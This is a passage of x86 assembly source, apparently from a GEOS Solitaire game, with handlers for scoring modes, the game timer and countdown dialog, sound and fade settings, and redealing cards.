MSG_SOLITAIRE_TURN_TIME_ON jcxz startTimer mov ax, MSG_SOLITAIRE_TURN_TIME_OFF startTimer: push cx call ObjCallInstanceNoLock pop cx checkStandard:: cmp cl, ST_STANDARD_UNTIMED mov ax, MSG_SOLITAIRE_SETUP_STANDARD_SCORING jle setup mov ax, MSG_SOLITAIRE_SETUP_ST_VEGAS cmp cl, ST_VEGAS je setup cmp cl, ST_COUNTDOWN jne done mov ax, MSG_SOLITAIRE_SETUP_ST_COUNTDOWN setup: call ObjCallInstanceNoLock done: ; ; Show the new score ; mov di, ds:[si] add di, ds:[di].Game_offset mov cx, ds:[di].GI_score clr dx mov ax, MSG_GAME_UPDATE_SCORE call ObjCallInstanceNoLock ret SolitaireSetScoringType endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetFadeStatus %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_SET_FADE_STATUS handler for SolitaireClass turns fading either on or off CALLED BY: PASS: nothing CHANGES: turns time on or off RETURN: nothing DESTROYED: ax, cx, dx PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: anyway to get TimeGameEntry to send different methods depending on its own state? REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetFadeStatus method SolitaireClass, MSG_SOLITAIRE_SET_FADE_STATUS CallObject FadeList, MSG_GEN_BOOLEAN_GROUP_GET_SELECTED_BOOLEANS,MF_CALL mov dl, SDM_100 ;SDM_100 = no fading test al, 1 jz setStatus mov dl, SDM_0 ;SDM_0 = full fading setStatus: mov cl, -4 ; (SDM_12_5 - SDM_0)/2 ; ; At this point, dl = initial fade mask ; cl = incremental fade mask ; mov ax, MSG_GAME_SET_FADE_PARAMETERS call ObjCallInstanceNoLock ret SolitaireSetFadeStatus endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetSoundStatus %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_SET_SOUND_STATUS handler for SolitaireClass turns sound either on or off CALLED BY: PASS: nothing CHANGES: turns sound on or off RETURN: nothing DESTROYED: ax, cx, dx PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dhunter 2/5/2000 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetSoundStatus method SolitaireClass, MSG_SOLITAIRE_SET_SOUND_STATUS ; Truly, this is easy. CallObject SoundList, MSG_GEN_BOOLEAN_GROUP_GET_SELECTED_BOOLEANS,MF_CALL PointDi2 Game_offset and al, 1 ;filter through mute bit mov ds:[di].KI_muteSound, al ret SolitaireSetSoundStatus endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireTurnTimeOn %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_TURN_TIME_ON handler for SolitaireClass Enables the time display and initializes the timer CALLED BY: PASS: nothing CHANGES: KI_timeStatus <- TIME_ON A timer is started to send MSG_SOLITAIRE_ONE_SECOND_ELAPSED's to MySolitaire every guess-how-often. RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireTurnTimeOn method SolitaireClass, MSG_SOLITAIRE_TURN_TIME_ON mov ds:[di].KI_timeStatus, TIME_ON ; ; Enable the time display ; mov dl, VUM_NOW CallObject TimeDisplay, MSG_GEN_SET_USABLE, MF_FIXUP_DS ; ; Set up the timer 'n stuff ; mov ax, MSG_SOLITAIRE_INITIALIZE_TIME GOTO ObjCallInstanceNoLock SolitaireTurnTimeOn endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireTurnTimeOff %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_TURN_TIME_OFF handler for SolitaireClass Sets KI_timeStatus to TIME_OFF, disables any active timers, and disables the time displays. CALLED BY: PASS: nothing CHANGES: KI_timeStatus <- TIME_OFF KI_timerHandle <- 0 timer that was in KI_timerHandle (if any) is stopped time displays are disabled. RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireTurnTimeOff method SolitaireClass, MSG_SOLITAIRE_TURN_TIME_OFF mov ds:[di].KI_timeStatus, TIME_OFF ; ; If there's a timer going, we need to stop it ; clr bx xchg bx, ds:[di].KI_timerHandle tst bx jz hideTime clr ax ; 0 => continual call TimerStop hideTime: mov dl, VUM_NOW CallObjectNS TimeDisplay, MSG_GEN_SET_NOT_USABLE, MF_FIXUP_DS ret SolitaireTurnTimeOff endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireInitializeScore %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_INITIALIZE_SCORE handler for SolitaireClass Figures out what the intial score should be depending on the scoring type, then calls MSG_GAME_UPDATE_SCORE CALLED BY: PASS: nothing CHANGES: RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireInitializeScore method SolitaireClass, MSG_SOLITAIRE_INITIALIZE_SCORE mov ax, MSG_SOLITAIRE_GET_SCORING_TYPE call ObjCallInstanceNoLock ;cl <- scoring type cmp cl, ST_STANDARD_UNTIMED ;standard scoring? jg notStandard mov ax, MSG_SOLITAIRE_SETUP_STANDARD_SCORING call ObjCallInstanceNoLock mov cx, INITIAL_STANDARD_SCORE jmp init notStandard: cmp cl, ST_VEGAS ;vegas scoring? jne endSolitaireInitializeScore ;default to no scoring mov ax, MSG_SOLITAIRE_SETUP_ST_VEGAS call ObjCallInstanceNoLock clr cx init: clr dx mov ax, MSG_GAME_UPDATE_SCORE call ObjCallInstanceNoLock endSolitaireInitializeScore: PointDi2 Deck_offset mov ax, ds:[di].GI_score mov ds:[di].GI_lastScore, ax ret SolitaireInitializeScore endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetupStandardScoring %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_SETUP_STANDARD_SCORING handler for SolitaireClass Sets up all the decks so that the points they award/penalize for etc. correspond to standard scoring. CURRENT STANDARD SCORING: * Lose 1 point every 10 seconds. * For Talon: 5 point for removing a card * For Foundations: 10 points for adding a card -15 points for removing a card * For Tableau Elements: 5 points for flipping a card * For returning all the cards from talon to hand: 10 * (# drawCards) - 40 CALLED BY: PASS: nothing CHANGES: RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetupStandardScoring method SolitaireClass,MSG_SOLITAIRE_SETUP_STANDARD_SCORING mov ds:[di].GI_score, INITIAL_STANDARD_SCORE if 0 ; ; Set current hi score file = vegas ; push es:[standardHiScoreFile] pop es:[currentHiScoreFile] mov es:[currentHiScoreFileNamePtr], offset standardHiScoreFileName ; ; Set Time high score column usable, score column unusable ; mov dl, VUM_NOW CallObject HighScoreScoreGroup, MSG_GEN_SET_USABLE, MF_FIXUP_DS CallObject HighScoreTimeGroup, MSG_GEN_SET_USABLE, MF_FIXUP_DS endif ; ; Set up the hand's score values ; mov cx, SS_HAND_PUSH mov dx, SS_HAND_POP mov bp, SS_HAND_FLIP CallObject MyHand, MSG_DECK_SET_POINTS, MF_FIXUP_DS ; ; Compute the cost of returning all the cards from the talon ; to the hand. Formula is: ; ; 10 * (drawCards) - 40 ; PointDi2 Game_offset clr ah mov al, ds:[di].KI_drawNumber mov bp, 10 mul bp sub ax, 40 mov bp, ax mov cx, SS_TALON_PUSH mov dx, SS_TALON_POP CallObject MyTalon, MSG_DECK_SET_POINTS, MF_FIXUP_DS ; ; Set Foundation score values ; mov cx, SS_FOUNDATION_PUSH mov dx, SS_FOUNDATION_POP mov bp, SS_FOUNDATION_FLIP mov ax, MSG_DECK_SET_POINTS call CallFoundations ; ; Set tableau element score values ; mov cx, SS_TABLEAU_PUSH mov dx, SS_TABLEAU_POP mov bp, SS_TABLEAU_FLIP mov ax, MSG_DECK_SET_POINTS call CallTableauElements ret SolitaireSetupStandardScoring endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetupVegasScoring %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_SETUP_ST_VEGAS handler for SolitaireClass Sets up all the decks so that the points they award/penalize for etc. correspond to vegas scoring. CURRENT VEGAS SCORING: * Lose 52 points for each new game * Get 5 points for each card played to foundations CALLED BY: PASS: nothing CHANGES: RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetupVegasScoring method SolitaireClass,MSG_SOLITAIRE_SETUP_ST_VEGAS ; ; score <- cash ; mov ds:[di].GI_score, INITIAL_VEGAS_SCORE if 0 ; ; Set current hi score file = vegas ; push es:[vegasHiScoreFile] pop es:[currentHiScoreFile] mov es:[currentHiScoreFileNamePtr], offset vegasHiScoreFileName ; ; Set Time high score column usable, score column unusable ; mov dl, VUM_NOW CallObject HighScoreScoreGroup, MSG_GEN_SET_USABLE, MF_FIXUP_DS CallObject HighScoreTimeGroup, MSG_GEN_SET_NOT_USABLE, MF_FIXUP_DS endif mov cx, VS_HAND_PUSH mov dx, VS_HAND_POP mov bp, VS_HAND_FLIP CallObjectNS MyHand, MSG_DECK_SET_POINTS, MF_FIXUP_DS mov cx, VS_TALON_PUSH mov dx, VS_TALON_POP mov bp, VS_TALON_FLIP CallObjectNS MyTalon, MSG_DECK_SET_POINTS, MF_FIXUP_DS mov cx, VS_FOUNDATION_PUSH mov dx, VS_FOUNDATION_POP mov bp, VS_FOUNDATION_FLIP mov ax, MSG_DECK_SET_POINTS call CallFoundations mov cx, VS_TABLEAU_PUSH mov dx, VS_TABLEAU_POP mov bp, VS_TABLEAU_FLIP mov ax, MSG_DECK_SET_POINTS call CallTableauElements ret SolitaireSetupVegasScoring endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireInitializeTime %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_INITIALIZE_TIME handler for SolitaireClass Clears # of seconds elapsed, stops any existing timers, then starts a new one. CALLED BY: PASS: nothing CHANGES: RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireInitializeTime method SolitaireClass, MSG_SOLITAIRE_INITIALIZE_TIME ; ; reset the number of seconds ; cmp ds:[di].KI_scoringType, ST_COUNTDOWN jne checkStandard mov ax, ds:[di].KI_countdownTime mov ds:[di].KI_time, ax jmp updateDisplay checkStandard: cmp ds:[di].KI_scoringType, ST_STANDARD_TIMED jne done mov ax, SS_SECONDS_PER_TAX inc ax ;one more, so ;that the first ;tax doesn't ;occur one ;second early mov ds:[di].KI_countdownTime, ax clr ds:[di].KI_time ;default to 0 updateDisplay: mov ds:[di].KI_timeStatus, TIME_ON mov ax, MSG_SOLITAIRE_UPDATE_TIME call ObjCallInstanceNoLock ; ; check to see if we already have a timer ; mov di, ds:[si] add di, ds:[di].Solitaire_offset mov cx, ds:[di].KI_timerHandle jcxz startTimer done: ret startTimer: mov bx, ds:[LMBH_handle] mov al, TIMER_EVENT_CONTINUAL ;Timer Type mov dx, MSG_SOLITAIRE_ONE_SECOND_ELAPSED ;what method to send? mov di, ONE_SECOND ;how often? call TimerStart PointDi2 Game_offset mov ds:[di].KI_timerHandle, bx ;keep track of the timer handle ;so we can shut the damn thing ;off when needed. jmp done SolitaireInitializeTime endm SolitaireSetCountdownTime method SolitaireClass, MSG_SOLITAIRE_SET_COUNTDOWN_TIME call SolitairePauseTimer push si mov bx, handle CountdownBox mov si, offset CountdownBox call UserDoDialog pop si call SolitaireUnpauseTimer ; edwdig - was IC_APPLY, changed due to dialog type change cmp ax, IC_OK jne cancel if 0 mov ax, MSG_SOLITAIRE_SETUP_ST_COUNTDOWN call ObjCallInstanceNoLock endif mov cx, ST_COUNTDOWN mov ax, MSG_SOLITAIRE_USER_REQUESTS_SCORING_TYPE_CHANGE call ObjCallInstanceNoLock done: ret cancel: ; ; Need to reset the Minute and Second range objects to original values. ; mov di, ds:[si] add di, ds:[di].Solitaire_offset mov cx, ds:[di].KI_totalCountdownTime mov ax, MSG_SOLITAIRE_SET_UI_COUNTDOWN_SECONDS call ObjCallInstanceNoLock ; ; Need to clear modified state in the Minute and Second range ; objects so that OK trigger will be enabled if they are changed ; the next time the dialog is put up. IC_DISMISS doesn't do this ; for us. -- jwu 9/23/93 ; ; edwdig - not needed anymore since the ok trigger is now ; always enabled, hence, modified state doesn't matter. if 0 mov ax, MSG_GEN_VALUE_SET_MODIFIED_STATE clr cx ; set to not modified mov di, mask MF_CALL or mask MF_FIXUP_DS push ax, cx, di ; save for SecondRange GetResourceHandleNS MinuteRange, bx mov si, offset MinuteRange call ObjMessage pop ax, cx, di ; msg, params... GetResourceHandleNS SecondRange, bx mov si, offset SecondRange call ObjMessage endif ; edwdig - Death can pop up at times when we don't want him to... ; So, let's just always set him not usable while we're here GetResourceHandleNS TooEasyInteraction, bx mov si, offset TooEasyInteraction mov ax, MSG_GEN_SET_NOT_USABLE mov di, mask MF_CALL or mask MF_FIXUP_DS mov dl, VUM_DELAYED_VIA_UI_QUEUE call ObjMessage mov dl, VUM_NOW CallObject CountdownBox, MSG_GEN_RESET_TO_INITIAL_SIZE, MF_FIXUP_DS jmp short done SolitaireSetCountdownTime endm SolitaireSetupCountdownScoring method SolitaireClass, MSG_SOLITAIRE_SETUP_ST_COUNTDOWN if 0 ; ; Set current hi score file = countdown ; push es:[countdownHiScoreFile] pop es:[currentHiScoreFile] mov es:[currentHiScoreFileNamePtr], offset countdownHiScoreFileName ; ; Set Time high score column usable, score column unusable ; mov dl, VUM_NOW CallObject HighScoreScoreGroup, MSG_GEN_SET_NOT_USABLE, MF_FIXUP_DS CallObject HighScoreTimeGroup, MSG_GEN_SET_USABLE, MF_FIXUP_DS endif mov ax, MSG_SOLITAIRE_GET_COUNTDOWN_SECONDS_FROM_UI call ObjCallInstanceNoLock jcxz noTime mov di, ds:[si] add di, ds:[di].Solitaire_offset mov ds:[di].KI_countdownTime, cx mov ds:[di].KI_totalCountdownTime, cx mov dl, VUM_NOW CallObject TooEasyInteraction, MSG_GEN_SET_NOT_USABLE, MF_FIXUP_DS mov dl, VUM_NOW CallObject CountdownBox, MSG_GEN_RESET_TO_INITIAL_SIZE, MF_FIXUP_DS mov ax, MSG_SOLITAIRE_INITIALIZE_TIME call ObjCallInstanceNoLock mov ax, MSG_SOLITAIRE_TURN_TIME_ON call ObjCallInstanceNoLock done: ret noTime: mov dl, VUM_MANUAL CallObject TooEasyInteraction, MSG_GEN_SET_USABLE, MF_FIXUP_DS mov dl, VUM_NOW CallObject CountdownBox, MSG_GEN_RESET_TO_INITIAL_SIZE, MF_FIXUP_DS ; ; edwdig ; Need to reset the Minute and Second range objects to original values. ; Also need to make sure the timer shows ; mov di, ds:[si] add di, ds:[di].Solitaire_offset mov cx, ds:[di].KI_totalCountdownTime mov ds:[di].KI_countdownTime, cx mov ax, MSG_SOLITAIRE_SET_UI_COUNTDOWN_SECONDS call ObjCallInstanceNoLock mov ax, MSG_SOLITAIRE_INITIALIZE_TIME call ObjCallInstanceNoLock mov ax, MSG_SOLITAIRE_TURN_TIME_ON call ObjCallInstanceNoLock mov ax, MSG_SOLITAIRE_SET_COUNTDOWN_TIME call ObjCallInstanceNoLock jmp done SolitaireSetupCountdownScoring endm SolitaireGetCountdownSecondsFromUI method SolitaireClass, MSG_SOLITAIRE_GET_COUNTDOWN_SECONDS_FROM_UI uses ax, dx .enter CallObjectNS MinuteRange, MSG_GEN_VALUE_GET_VALUE, MF_CALL mov cx, dx clr dx mov ax, 60 mul cx push ax CallObjectNS SecondRange, MSG_GEN_VALUE_GET_VALUE, MF_CALL pop ax add dx, ax mov cx, dx .leave ret SolitaireGetCountdownSecondsFromUI endm SolitaireSetUICountdownSeconds method SolitaireClass, MSG_SOLITAIRE_SET_UI_COUNTDOWN_SECONDS uses ax, cx, dx, bp .enter mov_trash ax, cx clr dx mov cx, 60 div cx mov_trash cx, ax push dx mov dx, cx clr cx, bp CallObjectNS MinuteRange, MSG_GEN_VALUE_SET_VALUE, MF_CALL pop dx clr bp, cx CallObjectNS SecondRange, MSG_GEN_VALUE_SET_VALUE, MF_CALL .leave ret SolitaireSetUICountdownSeconds endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireOneSecondElapsed %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_ONE_SECOND_ELAPSED handler for SolitaireClass Increments the seconds counter and updates time on the screen. CALLED BY: PASS: nothing CHANGES: increments the seconds counter RETURN: nothing DESTROYED: ax, cx, dx, di PSEUDO CODE/STRATEGY: increment the seconds counter and call MSG_SOLITAIRE_UPDATE_TIME KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireOneSecondElapsed method SolitaireClass, MSG_SOLITAIRE_ONE_SECOND_ELAPSED ; ; Check to see whether or not the user has made a move. ; If not, disregard the event ; cmp ds:[di].GI_lastDonor.handle, USER_HASNT_STARTED_PLAYING_YET je done cmp ds:[di].KI_timeStatus, TIME_ON jg done mov ax, -1 cmp ds:[di].KI_scoringType, ST_COUNTDOWN je updateTime neg ax updateTime: add ds:[di].KI_time, ax ;one more second... mov ax, MSG_SOLITAIRE_UPDATE_TIME call ObjCallInstanceNoLock done: ret SolitaireOneSecondElapsed endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireUpdateTime %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Updates the time internally and on screen CALLED BY: PASS: nothing CHANGES: RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: sets up score, time then calls TimeToTextObject KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 7/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireUpdateTime method SolitaireClass, MSG_SOLITAIRE_UPDATE_TIME mov cx, ds:[di].KI_time ;cx <- # seconds push si mov di, handle TimeValue mov si, offset TimeValue segmov es, ss push cx ;save time call TimeToTextObject ;write the time pop cx ;cx <- time pop si PointDi2 Game_offset cmp ds:[di].GI_lastDonor.handle, USER_HASNT_STARTED_PLAYING_YET je done cmp ds:[di].KI_scoringType, ST_STANDARD_TIMED je checkPenalty jcxz outOfTime jmp done checkPenalty: dec ds:[di].KI_countdownTime jz penalize done: ret penalize: mov ds:[di].KI_countdownTime, SS_SECONDS_PER_TAX ; ; Yes, it's time to penalize!!! ; clr cx mov dx, SS_POINTS_PER_TAX ;if so, tax 'em mov ax, MSG_GAME_UPDATE_SCORE call ObjCallInstanceNoLock jmp done outOfTime: clr ax mov bx, ax xchg bx, ds:[di].KI_timerHandle call TimerStop mov ds:[di].KI_timeStatus, TIME_WAITING_FOR_HOMEBOY_TO_STOP_DRAGGING tst ds:[di].GI_dragger.handle jnz done PLAY_SOUND SS_OUT_OF_TIME ; "user is out of time" sound mov ds:[di].KI_timeStatus, TIME_EXPIRED mov ax, MSG_GEN_INTERACTION_INITIATE mov bx, handle OutOfTimeBox mov si, offset OutOfTimeBox clr di call ObjMessage jmp done SolitaireUpdateTime endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireNewGame %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_NEW_GAME handler for SolitaireClass Starts a new game. CALLED BY: PASS: nothing CHANGES: RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: gives the hand all the cards instructs the hand to shuffle the cards instructs the hand to deal the cards initializes time and score displays KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireNewGame method SolitaireClass, MSG_SOLITAIRE_NEW_GAME ; ; If the user has managed to slip in a bunch of ; redeal requests, we only want to handle one of them, ; so we check to see if this isn't the first... ; test ds:[di].GI_gameAttrs, mask GA_REDEAL_REQUESTED jnz done BitSet ds:[di].GI_gameAttrs, GA_REDEAL_REQUESTED ; ; To redeal, we need to flush out the fade array, then ; send ourselves a method to start a new game. ; notRedealingYet:: mov ax, MSG_GAME_ZERO_FADE_ARRAY call ObjCallInstanceNoLock mov bx, ds:[LMBH_handle] mov di, mask MF_FIXUP_DS or mask MF_FORCE_QUEUE mov ax, MSG_SOLITAIRE_REDEAL call ObjMessage done: ret SolitaireNewGame endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireRedeal %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_REDEAL handler for SolitaireClass Starts a new game of solitaire. CALLED BY: PASS: nothing CHANGES: RETURN: nothing DESTROYED: everything PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireRedeal method SolitaireClass, MSG_SOLITAIRE_REDEAL ; ; Give the user the winner's card back design if he ; won the last game ; RESET ds:[di].GI_gameAttrs, GA_USE_WIN_BACK test ds:[di].GI_gameAttrs, mask GA_JUST_WON_A_GAME jz disableTriggers SET ds:[di].GI_gameAttrs, GA_USE_WIN_BACK disableTriggers: RESET ds:[di].GI_gameAttrs, GA_JUST_WON_A_GAME mov dl, VUM_NOW push si CallObjectNS RedealTrigger, MSG_GEN_SET_NOT_ENABLED, MF_FIXUP_DS CallObjectNS UndoTrigger, MSG_GEN_SET_NOT_ENABLED, MF_FIXUP_DS CallObjectNS MyHand, MSG_DECK_GET_N_CARDS, MF_CALL mov dl, VUM_DELAYED_VIA_APP_QUEUE CallObjectNS AutoFinishTrigger, MSG_GEN_SET_NOT_USABLE, MF_FIXUP_DS CallObjectNS NewGameTrigger, MSG_GEN_SET_USABLE, MF_FIXUP_DS cmp cx, 52 je handHasAllCards pop si mov ax, MSG_GAME_COLLECT_ALL_CARDS call ObjCallInstanceNoLock push si handHasAllCards: CallObjectNS MyHand, MSG_HAND_SHUFFLE, MF_FORCE_QUEUE CallObjectNS MyPlayingTable, MSG_SOLITAIRE_DEAL, MF_FORCE_QUEUE pop si PointDi2 Game_offset mov ds:[di].GI_lastDonor.handle, USER_HASNT_STARTED_PLAYING_YET cmp ds:[di].KI_scoringType, ST_VEGAS jne initScore clr cx mov dx, INITIAL_VEGAS_SCORE mov ax, MSG_GAME_UPDATE_SCORE call ObjCallInstanceNoLock jmp initTime initScore: ; ; Initialize the score ; mov ax, MSG_SOLITAIRE_INITIALIZE_SCORE call ObjCallInstanceNoLock ; ; Initialize the time ; initTime: mov ax, MSG_SOLITAIRE_INITIALIZE_TIME call ObjCallInstanceNoLock ret SolitaireRedeal endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireGetDrawNumber %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_GET_DRAW_NUMBER handler for SolitaireClass CALLED BY: PASS: nothing CHANGES: nothing RETURN: cl = number of cards to be drawn from the hand each time DESTROYED: cx, di PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireGetDrawNumber method SolitaireClass, MSG_SOLITAIRE_GET_DRAW_NUMBER clr ch mov cl, ds:[di].KI_drawNumber ret SolitaireGetDrawNumber endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetDrawNumber %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_SET_DRAW_NUMBER handler for SolitaireClass Sets the number of cards to draw from the hand each time CALLED BY: PASS: cl = # to draw CHANGES: KI_drawNumber <- cl RETURN: DESTROYED: cl, di PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetDrawNumber method SolitaireClass, MSG_SOLITAIRE_SET_DRAW_NUMBER CallObject DrawList, MSG_GEN_ITEM_GROUP_GET_SELECTION, MF_CALL setNumber:: mov di, ds:[si] add di, ds:[di].Game_offset mov ds:[di].KI_drawNumber, al cmp ds:[di].KI_scoringType, ST_STANDARD_UNTIMED jg done mov bp, 10 mul bp sub ax, 40 mov_trash bp, ax mov cx, SS_TALON_PUSH mov dx, SS_TALON_POP CallObjectNS MyTalon, MSG_DECK_SET_POINTS, MF_FIXUP_DS done: ret SolitaireSetDrawNumber endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireUnmark 